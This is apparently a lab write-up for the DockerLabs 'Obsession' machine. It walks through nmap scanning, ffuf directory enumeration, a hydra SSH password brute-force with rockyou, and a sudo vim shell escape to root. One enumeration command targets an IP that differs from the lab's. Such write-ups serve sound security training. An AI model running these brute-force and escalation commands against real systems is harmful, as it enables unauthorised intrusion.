> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/very-easy/obsession.md).

# Obsession

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 21, 22 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 21,22,80 -sS -Pn -sCV`

Result:

 

<figure><img src="/files/0NKmSS23NUmNQ6FF8Bdb" alt=""><figcaption><p>(Obsession) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit vsftpd 3.0.5`, `searchsploit Apache httpd 2.4.58` and `searchsploit OpenSSH 9.6p1` but there wasn't any. Our next step will be directory enumeration.

With the command `ffuf -w /path/to/wordlist/directory-list-2.3-medium.txt:FUZZ -u http://10.129.129.108/FUZZ` we found some interesting directories that it's worth taking a look.

**Result:**&#x20;

**/backup -> Accessing this directory we will end up on a folder structure, showing backup.txt. It holds a valid username for all services.**

&#x20;**/important -> This directory shows up a hacker manifest, not relevant for now.**

We also saw that FTP allows anonymous login, so we will enumerate it.

## 3 - Exploitation

We will run `hydra` on user `russoski`.

```bash
hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

We found valid credentials:

<figure><img src="/files/X5SGmHUsCzNrbt0V2Af6" alt=""><figcaption><p>(Obsession) Russoski Credentials</p></figcaption></figure>

## 4 - Privilege Escalation

Running `sudo -l` we can see that user `russoski` has permissions on `/usr/bin/vim`, so we go to gtfobins.github.io and find a exploit to escalate privileges to root. We found the next one:

```bash
sudo vim -c ':!/bin/sh'
```

As we can see, we're now root user.

<figure><img src="/files/QGK2gd2u9BsVVE4m988F" alt=""><figcaption><p>(Obsession) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Directory enumeration revealed `/backup/backup.txt` containing the SSH username `russoski`. Using Hydra with rockyou, we cracked the password and gained SSH access.

**Privilege Escalation:**\
`russoski` had sudo rights on `/usr/bin/vim`. Abusing GTFObins allowed us to spawn a root shell.